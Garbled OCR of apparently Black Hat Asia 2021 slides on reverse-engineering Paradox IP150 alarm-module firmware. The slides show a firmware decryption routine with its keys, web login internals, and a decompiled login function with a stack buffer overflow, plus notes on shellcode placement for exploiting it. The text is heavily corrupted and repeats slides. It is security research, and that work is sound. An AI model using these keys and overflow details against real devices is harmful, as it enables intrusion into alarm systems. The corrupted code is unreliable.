#BHASIA @BLACKHATEVENTS
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olofeloelo]olc)
00000010
00000020
00eOEeee 72
00000010 00
00000020 30
00030 4c

0OEEO25

0B35S
OOOOOOE3A ab5
0O00OEL4A 0O

000036
00000e4C ab
00043
00053
000063
0073
00000083
0OEEOE93
OOOOOOA3
0000eeB3
00eEEOC3
00e0e6D3
OOOOOOE3
OOOBOOF3

72 00 0O OO 0O OO 0O
00 00 00 OO OO0 00 00

00 00 00 OO 72

ff 6b 02 00 00 a9 6¢
20 02 14 00 04 06 20

00

00
18

00 00 00 OO0 PO 0O 0O

00 00 0O 0O OO0 00 00

00 00 GO 71 09 88 86
a4 3c 57 49 50 31 35

0

20 00 00 19 70 72 6f 64 2f 49 50 31 35 30 5f ...pro d/IP156_
41 54 45 53 54 2e 50 55 46 LATEST.P UF
a5 11 00 30 71 09 88 86 a9 6¢c a4 9f b9 57 00 57 a s e s vdeealcN
2d -
12 00 34 00 03 3f a9 6c a4 3c Pa 3c 57 02 14 y Joes S - "
ds
a5 0d 00 36 71 09 88 86 a9 6¢c a4 3c 65 + 00% . l.<e
06 00 34 00 df —_—
aS 07 04 11 00 OOIeb 61 9c 8d 67 €9 d5 dS €7 31| e SR o ¢
9b 05 aa 52 3b eb a1 57 88 b2 28 9¢c 1d 35 c2 fe O ;SR\ " T S Y
27 b6 e2 dO c5 92 27 18 a0 15 8f 14 63 81 39 foO S eutatite : RO ok
47 ¢8 f7 d1 75 cc 25 96 c1 2b Ga 05 32 d9 42 9c G Ui o .2.Ba
18 ca 1d 56 15 df 4d ea 3c 23 3c 45 2d a® 28 43 ..V..M. <#<E-.(C
9e 44 bl 60 e8 a ‘a 93 3 R SR L S
©3 21 8c b5 14 1 Encrypted Firmware ia 2c| .!...... 8. ];
a9 07 a3 42 82 9 f ab T R IS, |
€9 c9 91 53 Pe d4 41 21 16 76 48 35 12 c3 71 8e S..A! .vH5..q
31 df 1b 7c 5¢c a2 5a 15 a5 84 14 al 57 88 b2 28 3o INE vl
9c 1d 35 c2 fe 27 b6 e2 dO c5 92 27 18 a® 15 8f AL i ete
14 63 81 39 fO 47 ¢c8 f7 di1 75 cc 25 96 c1 2b Pa c.9.G u.%. .+

--------

. o<W

-
IP15

Paradox File: Pa
radox Update Fil
e (PUF Format)..
....... “aoloooo

00000000:
0pe0e010:
00000020:
00e00030:

ernet Module...T
CP/IP...... TCP/I
P Modules.......

00000000:
00000010:
00000020:
00000030:
00000040:
00000050:
0O000060:
0OOOEOTO:
DOODOO80:
0O00O09%0:
DO00000a0:
000000bO :
000000cO:
0OO000dO:
000000e0:

2000 HEADER_IP150
Trff

PUF file
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olofeloelo]olc)
00000010
00000020
00eOEeee 72
00000010 00
00000020 30
00030 4c

0OEEO25

0B35S
OOOOOOE3A ab5
0O00OEL4A 0O

000036
00000e4C ab
00043
00053
000063
0073
00000083
0OEEOE93
OOOOOOA3
0000eeB3
00eEEOC3
00e0e6D3
OOOOOOE3
OOOBOOF3

72 00 0O OO 0O OO 0O
00 00 00 OO OO0 00 00

00 00 00 OO 72

ff 6b 02 00 00 a9 6¢
20 02 14 00 04 06 20

00

00
18

00 00 00 OO0 PO 0O 0O

00 00 0O 0O OO0 00 00

00 00 GO 71 09 88 86
a4 3c 57 49 50 31 35

0

20 00 00 19 70 72 6f 64 2f 49 50 31 35 30 5f ...pro d/IP156_
41 54 45 53 54 2e 50 55 46 LATEST.P UF
a5 11 00 30 71 09 88 86 a9 6¢c a4 9f b9 57 00 57 a s e s vdeealcN
2d -
12 00 34 00 03 3f a9 6c a4 3c Pa 3c 57 02 14 y Joes S - "
ds
a5 0d 00 36 71 09 88 86 a9 6¢c a4 3c 65 + 00% . l.<e
06 00 34 00 df —_—
aS 07 04 11 00 OOIeb 61 9c 8d 67 €9 d5 dS €7 31| e SR o ¢
9b 05 aa 52 3b eb a1 57 88 b2 28 9¢c 1d 35 c2 fe O ;SR\ " T S Y
27 b6 e2 dO c5 92 27 18 a0 15 8f 14 63 81 39 foO S eutatite : RO ok
47 ¢8 f7 d1 75 cc 25 96 c1 2b Ga 05 32 d9 42 9c G Ui o .2.Ba
18 ca 1d 56 15 df 4d ea 3c 23 3c 45 2d a® 28 43 ..V..M. <#<E-.(C
9e 44 bl 60 e8 a ‘a 93 3 R SR L S
©3 21 8c b5 14 1 Encrypted Firmware ia 2c| .!...... 8. ];
a9 07 a3 42 82 9 f ab T R IS, |
€9 c9 91 53 Pe d4 41 21 16 76 48 35 12 c3 71 8e S..A! .vH5..q
31 df 1b 7c 5¢c a2 5a 15 a5 84 14 al 57 88 b2 28 3o INE vl
9c 1d 35 c2 fe 27 b6 e2 dO c5 92 27 18 a® 15 8f AL i ete
14 63 81 39 fO 47 ¢c8 f7 di1 75 cc 25 96 c1 2b Pa c.9.G u.%. .+

--------

. o<W

-
IP15

Paradox File: Pa
radox Update Fil
e (PUF Format)..
....... “aoloooo

00000000:
0pe0e010:
00000020:
00e00030:

ernet Module...T
CP/IP...... TCP/I
P Modules.......

00000000:
00000010:
00000020:
00000030:
00000040:
00000050:
0O000060:
0OOOEOTO:
DOODOO80:
0O00O09%0:
DO00000a0:
000000bO :
000000cO:
0OO000dO:
000000e0:

2000 HEADER_IP150
Trff

PUF file
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olofeloelo]olc)
00000010
00000020
00eOEeee 72
00000010 00
00000020 30
00030 4c
0OEEO25
0B35S
OOOOOOE3A ab5
0O00OEL4A 0O
000036
00000e4C ab
00043
00053
000063
0073
00000083
0OEEOE93
OOOOOOA3
0000eeB3
00eEEOC3
00e0e6D3
OOOOOOE3
OOOBOOF3

72 00 0O OO 0O OO 0O
00 00 00 OO OO0 00 00

00 00 00 OO 72

ff 6b 02 00 00 a9 6¢
20 02 14 00 04 06 20

00

00
18

00 00 00 OO0 PO 0O 0O

00 00 0O 0O OO0 00 00

00 00 GO 71 09 88 86
a4 3c 57 49 50 31 35

0

20 00 00 19 70 72 6f 64 2f 49 50 31 35 30 5f ...pro d/IP156_

41 54 45 53 54 2e 50 55 46 LATEST.P UF

a5 11 00 30 71 09 88 86 a9 6¢c a4 9f b9 57 00 57 a s e s vdeealcN
2d -

12 00 34 00 03 3f a9 6c a4 3c Pa 3c 57 02 14 y Joes S - "

ds

a5 0d 00 36 71 09 88 86 a9 6¢c a4 3c 65 + 00% . l.<e

AR AR A 00 _df . m—

aS 07 04 11 00 OOIeb 61 9c 8d 67 €9 d5 dS €7 31| e SR o ¢
o005 aa 52 S0 enal 57 88 b2 28 9¢ 1d 35 c2 fe O ;SR\ " T S Y
27 b6 e2 dO c5 92 27 18 a0 15 8f 14 63 81 39 foO S eutatite e Ve s
47 ¢8 f7 d1 75 cc 25 96 c1 2b Ga 05 32 d9 42 9c G Ui o .2.Ba
18 ca 1d 56 15 df 4d ea 3c 23 3c 45 2d a® 28 43 ..V..M. <#<E-.(C
9e 44 bl 60 e8 a ‘a 93 3 R SR L S
©3 21 8c b5 14 1 Encrypted Firmware ia 2c| .!...... 8. ];
a9 07 a3 42 82 9 f ab T R IS, |
€9 c9 91 53 Pe d4 41 21 16 76 48 35 12 c3 71 8e S..A! .vH5..q
31 df 1b 7c 5¢c a2 5a 15 a5 84 14 al 57 88 b2 28 3o INE vl
9c 1d 35 c2 fe 27 b6 e2 dO c5 92 27 18 a® 15 8f AL i ete
14 63 81 39 fO 47 ¢c8 f7 di1 75 cc 25 96 c1 2b Pa c.9.G u.%. .+

--------

. o<W

-
IP15

00000000:
0pe0e010:
00000020:
00e00030:

Paradox File: Pa
radox Update Fil
e (PUF Format)..
....... “aoloooo

ernet Module...T
CP/IP...... TCP/I
P Modules.......

00000000:
00000010:
00000020:
00000030:
00000040:
00000050:
0O000060:
0OOOEOTO:
DOODOO80:
0O00O09%0:
DO00000a0:
000000bO :
000000cO:
0OO000dO:
000000e0:

2000 HEADER_IP150
Trff

PUF file
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black hat Decompile: PARADOX wverify_chunk_checksu

ASIATEEEL 2 |undefined PARADDX verify chunk_checksumichar #*data,short size)
44
S| char cVarl;
6| short chunk_size;
7| ushort uvarz;
2| wundefined uVars;
10| uVars = @;
11 | chunk size = (ushort) (byte)data[2] * 0x100 + (ushort)(byteldata[l];
12| 1f (size == chunk_size} {
13 uvar2 = chunk_size - 1;
14 cVarl = PARADOX calc_packed _checksum(data, (uintjuVarz);
15 if (cvarl != dataluvarz])
16 uvar3s = 2;
17 1
12| 1
9| else {
20 uvars = 1;
21 1
22 return uvars;
23 |}
24

Packet size (0x407=1031)
|

, a5 07 04 11 00 00

LAE 0B00abg4 HREF H

- 8 ad Oa ldr.w I [F*ED_F’ACHI:—I'_DATA] maglc checksum
) 78 ldrb ro, [ro, 20x0] ==DAT 28010584 |
y 28 cmp ro, #0xas < 1
o dl bne LAB 0800abd2 ) _ _
: f8 98 O3 ldr . w 0. [NUM RECV BYTES] 2 char PARADOX calc_packet_checksumichar *data,uint size)
. B8 ldrh rl, [r0,#0x0] =>DAT_2801144a 4 [
- f8 94 Oa ldr.w rO==DAT_28010584, [REQ_PACKET_DATA] 5| uint tmp:
) fO 50 f8 bl FUM 0200aclc &1 uint 1i;
b oo mov rd, ro 7
8 tmp = 0;
8| 1 =0
10| do{
11 tmp = (byteldatali]l + tmp;
12 i=1+1 & oxffff;
13 size = size & Oxffff;
14| } while (1 =< size);
15| return (char)tmp; #BHASIA @BLACKHATEVENTS
16 |}
17
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linmpile: PARADOX decrypt_packet - (payload.bin) %
1
2 |voild PARADOX_decrypt_packet(void *buf,ushort num_bytes)
1l
5| uint 1i;
6 uilnt uVarl; 8
7 byte t; STABLE_1 =
8 byte P'ﬂ "\H(O6\x01\x02\ x04\ x00\ xO3\ xO5\ x0T\ X0 1\ xO5\x06\ x00\ x03\ xOT7\ x4\ x02\ x02\x04\ x01\ x03\ xO5\ xO¢
1'[-; EF:EEE 'w'--f'_tf.v_l_: 10 TABLE_2 = '\x01\x02\x04\x08\x10\%x20\x40\x80"
yte server key 2; 11
A 12 XOR_KEY 1 = 0xac
12 if (num_bytes != @) { 13 XOR KEY 2 = Ox6c
= oo  KEY 2 = 0x6c
14 while (1 = 1 & Oxffff, 1 < num_hytes) { = . .
15 = 0 IS5KEY = "\ x77\x12\xaf\x71\x5c\x2f\xcd\ %69\ xe3\x90\x26\ xbd\ x2c\ x66\ xbe\ x72\x7f\x5d\x18 |
- o 16
16 uvarl = @; .
17 while ((uVarl & OxFFff) < 8) { 17def decrypt_firmware(data):
18 if (((uint)*(byte *)(i + (int)buf) & 1 << (uvarl & 0xff)) 1= 0) { 18 table_offset=t
19 t =1t | *(byte *)((uint)*(byte *)((uvarl & Ouffff) + 19 key_pos=t
20 TABLE 1 OFFSET + (uint)*CURR TAELE 1 ROW * 8) + TABLE 2): 20 out = bytearray()
21 I 21 for 1 in range(®, len(data)):
22 uvarl = (uvarl & Oxffff) + 1; g2 t=c¢
23 by R for j in range(®, 8):
._zf *CURR TABLE_1_ROW = *CI.IF-!F-:‘_T.-'J.EILE_I_F{OW +1; if(data[i] & (1 << j) 1= 0):
z- if (8 = *CI_IF-!F{_T:EL.E_I;F{O'M { index=(table offset*s) + j
j'_ VU TAELE "{ F{Eﬁ'ﬁ él index2=ord(TABLE_1[index])
- e t = t | ord(TABLE_2[index2])
28 } _ |
29 key = *(byte *) ((uint)*(byte *)KEY POS + PARADOX_KEY); table_offset += 1 .
30 /¥ == session_start_packet[8] */ 4 if(tibti—c’f;?"?tt}_ 5):
31 server_key 1 = *¥DAT 0BOObGfC; . able_offset=c
32 server_key 2 = (*DAT_0800b&fc)[1]; 31
*(char *)KEY_POS = *(char *)KEY_POS + '\x01'; 32 k = ord(KEY[key_pos])
3 if (0x12 = *(byte *)KEY POS) { 33 key pos += 1
35 /* key len == 19 */ 34 if (key_pos > 18):
36 *(undefined *JKEY POS = O; 35 key pos=¢
37 by 36 out.append(t ~ k ~ XOR_KEY 1 ~ XOR_KEY 2)
38 *(byte *i(i + [int)buf) =t = key ~ server_key 1 ™ server_key_2; 37 return out
30 1=1+1; e
40 1
41 b #BHASIA @BLACKHATEVENTS
42 return;
43 |}




Q R12 = Ox%08X

I FLR = OX%08X
ac PC = OX%O8X

PSR = Ox%08X

Cc

A\'BFﬁR = Ox%08X
CFSR = Ox%08X

HFSR Ox%08X
DFSR Ox%08X
AFSR Ox%08X
SCB_SHCSR Ox%08X

TLS-DHE-RSA-WITH-AES-256-GCM-SHA384
TLS-DHE-RSA-WITH-AES-128-GCM-SHAZ256
TLS-DHE-RSA-WITH-AES-128-CBC-5HA256
TLS-DHE-RSA-WITH-AES-256-CBC-SHAZ256
TLS-DHE-RSA-WITH-AES-128-CBC-SHA
TLS-DHE-RSA-WITH-AES-256-CBC-SHA
TLS-DHE-RSA-WITH-AES-256-CCM
TLS-DHE-RSA-WITH-AES-256-CCM-8
TLS-DHE-RSA-WITH-AES5-128-CCM
TLS-DHE-RSA-WITH-AES-128-CCM-8
TLS-RSA-WITH-AES-256-GCM-SHA384
TLS-RSA-WITH-AES-128-GCM-5SHA256
TLS-RSA-WITH-AES-128-CBC-SHA256
TLS-RSA-WITH-AES-256-CBC-SHA256
TLS-RSA-WITH-AES-128-CBC-SHA
TLS-RSA-WITH-AES-256-CBC-SHA

TLS-RSA-WITH-AES-256-CCM

TLS-RSA-WITH-AES-256-CCM-8

TLS-RSA-WITH-AES-128-CCM

TLS-RSA-WITH-AES-128-CCM-8

var hebrew = "%d";

document.getElementById( 'MENU').innerHTML = top.menuaff ('
, hebrew);

<title></title>

</head>

<div id='MENU'=></dlv>

<script type='text/javascript' src='ajaxreq.js's</script=<script type='text/javascript' src='commun.js'=</script=<script language='javascript' type='text/javascript'=
setkKeepAlivelInt();</script=</body=</html=>

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'=><html><head=<title=</title><meta http-equiv="content-type" content="t
<script type='text/javascript'=var prg=

;if (top.wailtstart == 1) { top.waitset_stepl(prg); if (prg!=top.maxprg_s1) { setTimeout('window.location.replace("waitlive.html")', 15600); } } else { setTimeout('window.lo
}</script></body=</html>

{ "ack":[{ "msgtype":%d,"action":"updatepcspres"}],
"verpcs":[{ "pcspresence":%d}]}

{ "ack":[{ "msgtype":%d, "action":"hidepcsinfo"}]}
/https_redirect.html

Jrev.html

Jrcv_sync.html

[keep_alive.html

Jcantconct.html

/config.html

Jconfig_sync.html

Jemaill.html

Jemail sync.html HATEVENTS




blgc’:k hat

ASIA 2021

LwiP
Network
Stack

Intel-Hex encoded
CEVLET

Encrypted PUF

IP-150 (STM32F417)

#BHASIA @BLACKHATEVENTS



O

blackhat

ASIA 2021

Your Paradox System - IP connection

Panel user code ‘

/ Login

LwiP

Network
Stack

Intel-Hex encoded
CEVLET

Encrypted PUF

IP-150 (STM32F417)
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« "lwlP (lightweight IP) is a widely used open-source TCP/IP stack designed for embedded
systems." - wikipedia.

« Supports lots of network protocols - tcp, udp, dns...

« Implements several application servers — http, ftp, telnet ...

Figure 1. LwlP architecture

*.
dth.C, dns.c ... - Application layer
v
___________________________________________________ ;__________________
u,d p C 1 [ tGp C Transport layer
___________________________________________________ ;___]______________
| p C mtemet layer
i 10N K
netif.c interface layer
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wiP
- Webserver + VFS

GET
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g|t mdex IW|p glt

htweic

summary refs log ‘tree  commit diff
path: root/src/apps/http

Mode Name

“rW-r--r-- altcp proxyconnect.c
-TW-T==-I-- fs.c

) P e fs

“TW-r=--r-- fsdata.c

-TW-r--r-- fsdata.h

-MW-r--r-- http client.c
“TW-T=-r-- httpd.c

“TW-r=-r-- httpd structs.h
d--------- makefsdata

#BHASIA @BLACKHATEVENTS
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ASISIEESY #if FSDATA FILE ALIGNMENT==

static const unsigned int dummy align index html = 2;
171 | #endif

172 | static const unsigned char FSDATA ALIGN PRE data 1index html[] FSDATA ALIGN POST = {
172 | /* /findex.html (12 chars) */

174 | Ox2T,0x69, 0xbe ,0x64,0x65,0x78,0x2e,0x68, 0x74,0x6d, Oxb6c, BxB0,

175
176 | /* HTTP header */

77| /% "HTTR/1.0 280 OK

178 | " (17 bytes) */

179 | 0x48,0x54,0x54,0x50,0x2T,0x31,0x2e,0x30,0x20,0x32,0x30,0x30,0x20,0x4T,0x4b, 0x6d,
180 | @xea,

181 | /* "Server: lwIP/2.08.3d (http://savannah.nongnu.org/projects/lwip)

182 | " (64 bytes) */

183 | ©x53,0x65,0x72,0x76,0x65,0x72,0x%x3a,0x20,0x6C,0x77,0x49,0x50,0x2T,0x32,0x2e,0x30,
184 | 0x2e,0x33,0x64,0x20,0x28,0x68,0x74,0x74,0x70,0x3a,0x2T,0x2T,0x73,0x61,0x76,0x61,
185 | Oxbe,0x6e,0x61,0x68,0x2e,0xbe, 0x6T,0x6e,0x67,0xbe,0x75,0x2e,0x6T, Ox72,0x67, 0x2T,
186 | 0x70,0x72,0x6T,0x6a,0x65,0x63,0x74,0x73,0x2T,0x6C,0x77,0x69,0x70,0x29,0x0d, 0x0a,
187
188 | /* "Content-Length: 1751

189 | " (18+ bytes) #*/

190 | Ox43,0x6T,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a, 0x20,
191 | @x31,0x37,0x35,0x31,0x0d,0x0a,

192 | /* "Content-Type: text/himl

193
194 | " (27 bytes) */

195 | @x43,0x6T,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74, 0x65,
196 | Ox78,0x74,0x2T,0x68,0x74,0x6d,0x6c,0x0d, OxBa,0xbd, Ox0a,

197 | /* raw Tile data (1751 bytes) */

195 | @%3c,0x68,0x74,0x6d,0x6¢C,0x3e,0x0d,0x0a,0x3C,0x68,0x65,0x61,0x64,0x3e,0x3c,0x74,
199 | @x69,0x74,0x6C,0x65,0x3e,0x6C,0x77,0x49,0x50,0x20,0x2d,0x20,0x41,0x20,0x4c, Ox69,
200 | Bx67,0x68,0x74,0x77,0x65,0x69,0x67,0x68,0x74,0x20,0x54,0x43,0x50,0x2T,0x49,0x50,
201 | 9x20,0x53,0x74,0x61,0x63,0x6b,0x3c,0x2T,0x74,0x69,0x74,0x6C,0x65, 0x3e,0x3¢c, Ox27T,
202 | Ox68,0x65,0x61,0x64,0x3e,0x0d,0x0a,0x3C,0x62,0x6T, 0x64,0x79,0x20,0x62,0x67,0x63,
203 | Ox6T,0x6C,0x6T,0x72,0x3d,0x22,0x77,0x68,0x69,0x74,0x65,0x22,0x20,0x74,0x65,0x78,
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Your Paradox System - |IP connection

Panel user code |

Login

function loginencrypt() {
var val, temp, spass, s_low;
val = true;
if (document.lf.user.value == "") {

top.customalert(parent.ln_logpage[1], "top.document.lf.user.focus();", 0);
document.lf.user.value =
document.lf.pass.value = "";
val = false;

} else { Salt ’
document.lf.pass.value = "paradox”; Panel user
s_low = top.keeplowbyte(document.lf.p Hashed code”

M

document.lf.pass.value = s_low; password

temp = hex_md5(document.lf.pa

document.lf.p.value = hex_md5
document.lf.u.value = rc4(spass, document.lf.user.value);

document.lf.user.value = "";

document.lf.pass.value = "";

if (val == true) {

}

document.lf.loginsub.disabled = true;

return val;

#BHASIA @BLACKHATEVENTS
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secure | 192.168.0.167/defaulthtml?u=6DD92F73&p=E1BC4647805C72F262837B82CB8C58AEL
User code password

Please wait...

Connect to panel
Retrieve user information
Retrieve system data

Check system status

000 & &

Loading web interface
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1Wart = PARADOX _1s user_connected();
if ((((ivars == 0) |
(1Vare = 1s_connected user ip(* (undefinedd *){param_2[0x5c] + 4)), 1Varc != 0)) &&
(piVarl = CGI_HANDLERS, CGI_HANDLERS[1] != 0)) && (*CGI_HANDLERS != o)) {
1Varé = 0;

while (iVars < pivarl[l]) {

ivarSs = LIBC_strcmp(uri,*(undefinedd *) (*pivarl + iVars * 8)):
if (ivars == 0) {

unaff r8 = param_2;
http col paramcount = LWIP extract_url_parameters(param_2,url parameters);
iVar2 = 1Var6;
param_2 = unaff rg;
break;
¥
1Varé = 1Varé + 1;
¥
¥
puvar3 = (undefined4 *)LWIP fs open(0,uri);
1t (puVarz == (undefinedd *)0x0) {
puVar? = (undefinedd4 *JLWIP fs open(0,s /http404. html 0B805a908);
¥

http_parse request
- device firmware

#if LWIP HTTPD CGI
http cgi paramcount = -1;
/* Does the base URI we have isolated correspond to a CGI handler? */
if (httpd num cgis && httpd cgis) {
for (1 = 8; 1 < httpd num cgis; i++) {
if (strcmp(uri, httpd cgis[i].pcCGIName) == 0) {
J"r*
* We found a CGI that handles this URI so extract the
* parameters and call the handler.
*/
http cgli paramcount = extract uri parameters(hs, params);
uri = httpd cgis[i].pfnCGIHandler{i, http cgi paramcount, hs-=params,
hs->param vals];
break:
}
1

}
#endif /* LWIP HTTPD CGI */
LWIP DEBUGF(HTTPD DEBUG | LWIP DBG TRACE, ("Opening %s\n", uri));

err = fs_open(&hs->file handle, uri);
if (err == ERR OK) {

file = &hs->Tile handle;
} else {
file = http get 484 file(hs, &uri);

!

http parse request
_ F)liEai r] |‘MA/| F) #BHASIA @BLACKHATEVENTS
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w — — —

F

iVart = PARADOX is user connected():

if ((ivars != 0) && (1VarG = 1s_connected user ip (* (undefined4 #) (param_2[0x5c] + 4)), 1V
) goto switchD 08053372 caseD d.

1Varg = DAT 0B0S5a834;

switch (* (undefined *)(DAT_0805a834 + 1)) {

case O:

if (ivarz 1= -1) {
iVarS = LIBC strcmp(*puvar3,s /default.html _0B0Sag8e8);
1T (lvaro == 0J {
PARADOX_login((in_addr) ((in_addr *) (unaff r8 + 0x5c))-=>s_addr, (char)ivarz,
http_cgi_paramcount, (char)unaff_r8 + '\x18',unaff_r8 + Ox2e);

T
1Vare = -1;

F

if ((int) ((uint)*(byte *){ivars + 2) << Ox1f) < 0} {
*¥(byte *)(1varc + 3) = *(byte *)(1Varc + 3) & Oxfb;
1Vars = FUN_0803b&fc();
if (ivars == 0) {

#BHASIA @BLACKHATEVENTS
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aool PARADOX login(in_addr client ip,undefined param_2,int num_of params,byte param_names,
int param_values)

blackhat

ASIA 2021
bool bvarl:
int curr;

0O = @ U1 I ) b

int 1i;
9| wundefinedd paran name;
10| int i

11 [ undefinedd tmp_byte;

12| char param_value [l00];
13| wundefined username [36];
14 | undefined parssword [84];

15

16 | 1f (num_of_params < 1) {

17 bvarl = false;

18 }

9| else {

20 curr = 0;

21 while (curr < num of params) {

22 param_name = *(undefined4 *) ({uint)param_names + curr * 4);
23 LIBC_strcpy(param_value, * (undefinedd *)(param_values + curr * 4));
24 T———y

25 1 = LIBC_strcmp(paran_name,s_u_080628f0);

26 if (1 ==0) {

27 1=0;

28 i=0;

while (param_value[j] '= "\0') {

secure | 192.168.0.167/defaulthtml?u=6DD92F738&p=E1BCA647805C72F262837B2CB8C58AEL 30 AT S
31 LIBC sscanf(param_value + j,s_%2X¥_080628ec, &tmp_byte);
,/)' ‘\\ 32 username[i] = {char)tmp byte;
User code password 3 =141
Please wait... 4 username[1] = 0;

5 =14+ 2

iZ Connect to panel B 1

]Z Retrieve user information : ilSE {

[[] Retrieve system data 39 A p=t o
40 1 = LIBC_strcmp(param_name,s_p_080628f4);

[J Check system status a1 if [i==0) {

[ Loading web interface 42 *(byte *)(DAT_080628fc + 3) = *(byte *)(DAT_080628fc + 3) & Oxef;
43 i=0;
44 ] =0;
45 while (paran_value[]] != "7\0") {
46 LIBC sscanf(param_value + j,5_%2¥_080628ec, &tmp_byte)
47 parssword[i] = (char)tmp_byte;
48 1=1+1;
2] parssword[1] = @;
50 i=9+ 2
51 i
52 1
53 1
54 curr = curr + 1;
55 ]
56 PARADOX_is_walid_credentials(parssword,usernamne, * (undefined4 *) (client_ip + 4));
57 bvarl = true;
58 }
50 * *
|-f.‘ et et /¥ return value unused */ #BHASIA @BLACKHATEVENTS
6l [}
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secure | 192.168.0.167/defaulthtml?u=6DD92F73&p=E1BCA647805C72F262837B2CB8CS8AEL

2 %

User code password
Please wait...

Connect to paret
Retrieve user information
Retrieve system data

Check system status

000 &

Loading web interface

lﬁ’nﬁ.ﬁﬂﬂx_lugin - [IP150 w5.2.9.PUF.FULL. dec)

0O = @ U1 I ) b

=

aool PARADOX login(in_addr client ip,undefined param_2,int num_of params,byte param_names,
int param_values)

bool bvarl:
int curr;

int 1i;
undefinedd paran name;
int j;

undefinedd tmp_byte;

char param_value [100];
undefined username [36];
undefined parssword [84];

if (num_of_params < 1) {
bvarl = false;
1
else {
curr = @;
while (curr < num_of params) {
param_name = *(undefined4 *) ({uint)param_names + curr * 4);
[ = (= o 8 N A= e A L W T3 L= =Wy Y K= [ - A |- S = I O
S tu=" Ry
1 = LIBC_strcmp(paran_name,s_u_080628f0);
if (1 ==0) {
1=0;
1=0;
while (param_value[]] 1= "n0') {
LY Oy
LIBC sscanf(param_value + j,s_%2X¥_080628ec, &tmp_byte);
username[i] = {char)tmp byte;

1 =1+ 1;
username[1] = 0;
T=TF 4
h
)]
else {
S* tp=t oy
1 = LIBC_strcmp(param_name,s_p_080628f4);
if (1 =0) {
*(byte *) (DAT _080628fc + 3) = *(byte *)(DAT 080628fc + 3) & Oxef;
1=0;
] =0;
while (paran_value[]] != "7\0") {
LIBC sscanf(param value + 7,5 %2¥ 080628ec, &tnp_byte);
parssword[i] = (char)tmp_byte;
1 =1+ 1:
parssword[1] = @;
1=7+ 2
]
b
}
curr = curr + 1;
h
PARADOX_is_walid_credentials(parssword,usernamne, * (undefined4 *) (client_ip + 4));
bvarl = true;
1
/¥ return value unused */
return bVarl;
]

#BHASIA
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secure | 192.168.0.167/defaulthtml?u=6DD92F73&p=E1BCA647805C72F262837B2CB8CS8AEL

2 %

User code password
Please wait...

Connect to panel
Raygeve user information
Retrieve System data

Check system status

ooo Q&4

Loading web interface

lﬁ’nﬁ.ﬁﬂﬂx_lugin - [IP150 w5.2.9.PUF.FULL. dec)

0O = @ U1 I ) b

=

aool PARADOX login(in_addr client ip,undefined param_2,int num_of params,byte param_names,
int param_values)

bool bvarl:
int curr;

int 1i;
undefinedd paran name;
int j;

undefinedd tmp_byte;

char param_value [100];
undefined username [36];
undefined parssword [84];

if (num_of_params < 1) {
bvarl = false;
1
else {
curr = @;
while (curr < num_of params) {
param_name = *(undefined4 *) ({uint)param_names + curr * 4);
LIBC_strcpy(param_value,* (undefinedd *) (param_values + curr * 4));
S tu=" Ry
1 = LIBC_strcmp(paran_name,s_u_080628f0);
if (1 ==0) {
1=0;
1=0;
while (param_value[]] 1= "n0') {
FASEE 7L SV
LIBC sscanf(param_value + j,s_%2X¥_080628ec, &tmp_byte);
username[i] = {char)tmp byte;
1=1+1;
username[1] = 0;
=14+ 2
h
)]
elaol
S* tp=t oy
1 = LIBC_strcmp(param_name,s_p_080628f4);
if (1 =0) {
*(byte *) (DAT _080628fc + 3) = *(byte *)(DAT 080628fc + 3) & Oxef;
1=0;
] =0;
while (paran_value[]] != "7\0") {
LIBC sscanf(param value + 7,5 %2¥ 080628ec, &tnp_byte);
parssword[i] = (char)tmp_byte;
1=1+1;
parssword[i]
1=7+ 2
I3
b
}

curr = curr + 1;

0;

h
PARADOX_is_walid_credentials(parssword,usernamne, * (undefined4 *) (client_ip + 4));
bvarl = true;
1
/¥ return value unused */
return bVarl;
]

#BHASIA
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bool PARADOX_login_extended
(byte param_l,undefined param_2,int num_of_params,char **params_names,
char **params_values)

blackhat

ASIA 2021

1
5
4

14| undefined4 local_148;

15 acs ;

18 ck224 [80];
17 | undefined auStacklad [36];
12| undefined = cklo8 [38];

if (num_of_params < 1) {
uvarl = 0;

r3 < num_of_params) {

pcVard = params_names[iVar3];

LIBC strepy(a k324, params_values[ivar3]);
*/

ard,s_u_0B062e08) ;

1f (ivarz == 0} {

rl = 0;
iVars = 0;
while (acStack3z4[ivarS] = "\0') {

7E S 4
acs 2¥_0B062e04, Elocal_148);

iVars + 2;

}
1
3 else {
44 JE tpt kg
45 1Varl = LIBC_strcmp(pcVard,s_p_08062e0c);
45 if (ivarl == 0} {
47 *(byte *)(DAT_0BOGZelc + 3) = *(byte *)(DAT 08062elc + 3) & Oxef;
48 ivarl = 0;
9 ivVard = 0;
50 while (acStac
51 scanf(
52 k224[1
53 ivarl + 1;
54 ck224[ivarl] = 0;
55 = iVard + 2;
}
}
else {
/% pnl=" */

ivVarl = LIBC_strcmp(pcVard,s_pnl_08062210);

f* "pop=" #/
= LIBC_stremp(pc

#BHASIA @BLACKHATEVENTS
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bool PARADOX_login_extended
(byte param_l,undefined param_2,int num_of_params,char **params_names,
char **params_values)

blackhat

ASIA 2021

1
5
4

14| undefined4 local_148;

15 acs ;

18 ck224 [80];
17 | undefined auStacklad [36];
12| undefined = cklo8 [38];

if (num_of_params < 1) {
uvarl = 0;

r3 < num_of_params) {

pcVard = params_names[iVar3];

LIBC strepy(a k324, params_values[ivar3]);
*/

ard,s_u_0B062e08) ;

1f (ivarz == 0} {

rl = 0;
iVars = 0;
while (acStack3z4[ivarS] = "\0') {

7E S 4
acs 2¥_0B062e04, Elocal_148);

iVars + 2;

}
1
3 else {
44 JE tpt kg
45 1Varl = LIBC_strcmp(pcVard,s_p_08062e0c);
45 if (ivarl == 0} {
47 *(byte *)(DAT_0BOGZelc + 3) = *(byte *)(DAT 08062elc + 3) & Oxef;
48 ivarl = 0;
9 ivVard = 0;
50 while (acStac
51 scanf(
52 k224[1
53 ivarl + 1;
54 ck224[ivarl] = 0;
55 = iVard + 2;
}
}
else {
/% pnl=" */

ivVarl = LIBC_strcmp(pcVard,s_pnl_08062210);

f* "pop=" #/
= LIBC_stremp(pc
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Exploitation

Overwrite 50p {....pck Shellcode
LR | [stack]
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« Shellcode waits on stack.

« Stack is on the device SRAM region.

« SRAM address range is 0x20000000-0x2001ffff.
« 0x20 == ASCII CHAR FOR SPACE.

